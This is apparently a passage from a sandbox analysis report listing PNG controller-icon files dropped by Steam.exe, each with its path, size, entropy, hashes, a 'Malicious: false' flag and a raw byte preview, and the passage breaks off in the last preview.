Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0304.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19934
Entropy (8bit):	7.90063700066331
Encrypted:	false
SSDEEP:
MD5:	631C6DAED66EECA236322EDE8B7B9639
SHA1:	A5EDA93B208574C5382878AEEBAFDDCF8D5C1FB0
SHA-256:	7A308CC2CF22A32DF1B82F2136B4936418D6120E053D1DCE3CE63536851CDFE0
SHA-512:	0DF5F7A795EC45616B1AA2960C343484EC755CB4385B6C337C1A3E70C694EFA1F242522FD581A908C319604A8E12B4B4F9097DA56912A4D5914339391AADF08D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0305.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	24143
Entropy (8bit):	7.903260838297004
Encrypted:	false
SSDEEP:
MD5:	66C43240881460A0D5C1735C44273CE5
SHA1:	ACFF5877957FA46F251A0C112C75E3CE33B45D43
SHA-256:	61F1AF294C29769AE4B5ED05B7CF4294BAE99F305AC6FD1ADB6FFE7365A7F1E7
SHA-512:	B2A2FDA7E89BFE381D76FE63C73DED1EF8C827EC4044336AB6365D47C6E8886E2B1EF5681D2B6D570B3D5460BE06CD47778FA7DE889519CAD745841E7EDD8F79
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0306.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16546
Entropy (8bit):	7.866651694551884
Encrypted:	false
SSDEEP:
MD5:	8E1925AA96AF465984538DD1439F7FB7
SHA1:	D89F1EBE1151FC97D991B60A318FF1EB294788A6
SHA-256:	08DB5F65C9015BD35313056BABFEDE1472B6F06D153CBDE53D1C8EC3ECCC456B
SHA-512:	56B75CD084CCA3EBEBEF0E564CB2DA3B2CA18AE3898D67433DF03C3E52F45416827CF49E886BE73B65435251FB758F07334A9BC0B5E4EEDD8EB80C593FD4378B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0307.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18155
Entropy (8bit):	7.885009839507912
Encrypted:	false
SSDEEP:
MD5:	A27D89C41C71FCCE9CBFDDEEC78CA7C4
SHA1:	35B6D1093225B52D817CC9015D95220A6668AC08
SHA-256:	6A08259EACDCDA29DC3DA6819380C01E9AE8724BA9990B4068D1FB52AE5DA24B
SHA-512:	4DB0992B2E924E8405643D2A34CEEFC10557F9F656D993E0C97836652821096D04B21F889BCDB7049AA0C9D755C0AE6A2A147348254A565961A5FB233858943D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0308.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23348
Entropy (8bit):	7.8894338964196695
Encrypted:	false
SSDEEP:
MD5:	4F1CEF075AA41FA89690EF5C3EAFEB00
SHA1:	BAE3156096CA08D1FE7E6E43A6BD46DA80581DDF
SHA-256:	E12F6871839F44947D330D2C6525702FD120340213A01961126E9FB94465922E
SHA-512:	6F2B2EE8338D37D3DB291D3403505D80880A232524900AC67F230E1146BE3D74060B78FF6D07F6500A7C66738D30BB015F353009FA99049C4079609E9ECDA01E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0309.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15231
Entropy (8bit):	7.813420862501348
Encrypted:	false
SSDEEP:
MD5:	96419644D52C4D2BE0BF70A936212ADF
SHA1:	FE2F63628570364000A962683E2DFACB01602F52
SHA-256:	362C6449AED573BD71BA78B760DAA90F8FEC396EECA9E6CA66843B837662D177
SHA-512:	7441935568F06F233BE49A828E00B00814EE2A783954BC8618FC4BC74F94E6594CC8643E1E83AD63469D4EE9BCA1588338DF22EF41F8885C768C39CB5854E39A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0310.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14540
Entropy (8bit):	7.825398618681978
Encrypted:	false
SSDEEP:
MD5:	290AD186A999D323EB7D05D0F60FA374
SHA1:	BF2D26CB6EA1602C9C44D1934DF545A08662FB16
SHA-256:	80CA23E3A2C74B27E793CBAFC91B38B11F545BC67741621BF504CBAA72D2E15C
SHA-512:	D24E601033489AFB7B94C4165BEB5FE1D38F71A0176B9D0DC38D8FDBA73D793F519FBCEBA21C02E5C0FB75FF7AE23DF5E46813A22E6B28D6ACF4A2DEEB9562D3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0311.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17730
Entropy (8bit):	7.864817144438223
Encrypted:	false
SSDEEP:
MD5:	1F5BE2F067C60AF853954D0F7FFEBD6C
SHA1:	F61B369664B1389E0F8FD6480F704945760C191B
SHA-256:	17BB9ADB4B63F3E148DCD07C3DECAA53F171B114AD42F61B29F0E2E20149F2DC
SHA-512:	142F6820529D74F9AD2082802713C4F268F538831089B9ACED80FD8B8384DBAB85DAD26DD129177255BB5303C882D2D670F8B3346C9488188CE17825AFD5AD70
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0312.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15569
Entropy (8bit):	7.867243370715954
Encrypted:	false
SSDEEP:
MD5:	7A16E81331512BCA5A324D05CED20012
SHA1:	28B51F075C7B75A948CD32FAD62CC7F1D931387B
SHA-256:	88A0A348AF2FAE80CFD23B3ECF6309826FBD697C5CE22F8F7079DD6C2C19E84E
SHA-512:	1519DF8F74DB3FC5054C746D67D2B6136852BF21AAADF2FEA89A64BDC2082D2931E7938AAB77E55776D991416B8FD56C1B9B2E32C0959FF8454A366FE190E837
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0313.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10825
Entropy (8bit):	7.692297647458064
Encrypted:	false
SSDEEP:
MD5:	C8756D8CF13C5438D89A8E9F1731B065
SHA1:	F8E2E9669C33D83C350C6818EA7F302FE3424B85
SHA-256:	B767F83900C5D2BE16C08D1256CF893E117E2BC14A9C93FF72EC8C48A7CCD0B3
SHA-512:	A514A98C4BF96EE6B12987D87439279FF4B51008BF600C8240FB5CF627D83AA8E38E34A4BEBA0786FE922BEF93CE181228F921F29BECE33B7594AD1E2ECD792B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0314.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14191
Entropy (8bit):	7.847644002450238
Encrypted:	false
SSDEEP:
MD5:	450B9A008D2524FB3AF19D199C9F4E98
SHA1:	A2A9D2DAD0B4763AFA1A2E1E125460BA3871C2D1
SHA-256:	EC0FB5C4F73CEB3DA454DBFFBA347B6FFCA141F7AE45E3ECE7B1E6295566624A
SHA-512:	E636DD5DFC7A288C686261F28C568662B72A31B98AEAF16FD7E9BD62FFAE988E73AA9C3134F7B1A3261DB8051ACDC2B5220528AFE5F6168FE8439437EFF0D071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0315.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23837
Entropy (8bit):	7.913466330249749
Encrypted:	false
SSDEEP:
MD5:	3A204D6D547CA08E20BB96DBC2234CE9
SHA1:	3C57C108DB330706279D641337C95C4689AE4A8B
SHA-256:	12C69880EA44813BB3E168CF6AE3ED76680D30853450EB276F70BAE626C391A0
SHA-512:	03290CDF88F6DFF5B64E11FFC8689C2172B6EC222C9557154EF78FC252B04E9F36D2F2C2579C551E2F6AA3A66E2C0D53461871ACC945411970CFA03F6EFF1D59
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0316.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21367
Entropy (8bit):	7.903348429870013
Encrypted:	false
SSDEEP:
MD5:	B9DF49CBB954666D09698FEF13E65AEB
SHA1:	5672299CD0A4C6AB30F1D4C0DCCA0A8B3F1D4DC5
SHA-256:	9D657F3155E0329E546382DA8300035AEA5C7F1BE6C45CD310A364E8A740CF3F
SHA-512:	F5C7AC9B5887B205604B17F66A5D68D03BF4D96498DEEFC24F5FE6FDF6CEA8E6FBAA48FF4C03CAC0E6FD34B42D6E45D9CB56DB6D2F3939F809CA3EA8DFE4FDEB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_040_act_0317.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13994
Entropy (8bit):	7.857034008455605
Encrypted:	false
SSDEEP:
MD5:	78F458AAB5D3936496CD31DE55EF230A
SHA1:	472B577EA20EF5C6BD8655CA0224804020E41854
SHA-256:	90CC76C27603D69DA855E6033342A89166FC93EFA35748F13C215B604FA9F38A
SHA-512:	CF3686ED59F335B46D48F632ACE9D5C3112B315129A3C4FE1F614F6006E5EEDD9D45005F929996D153F1BB86E49BF92790693F89AB124CA878F1B2074321D581
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 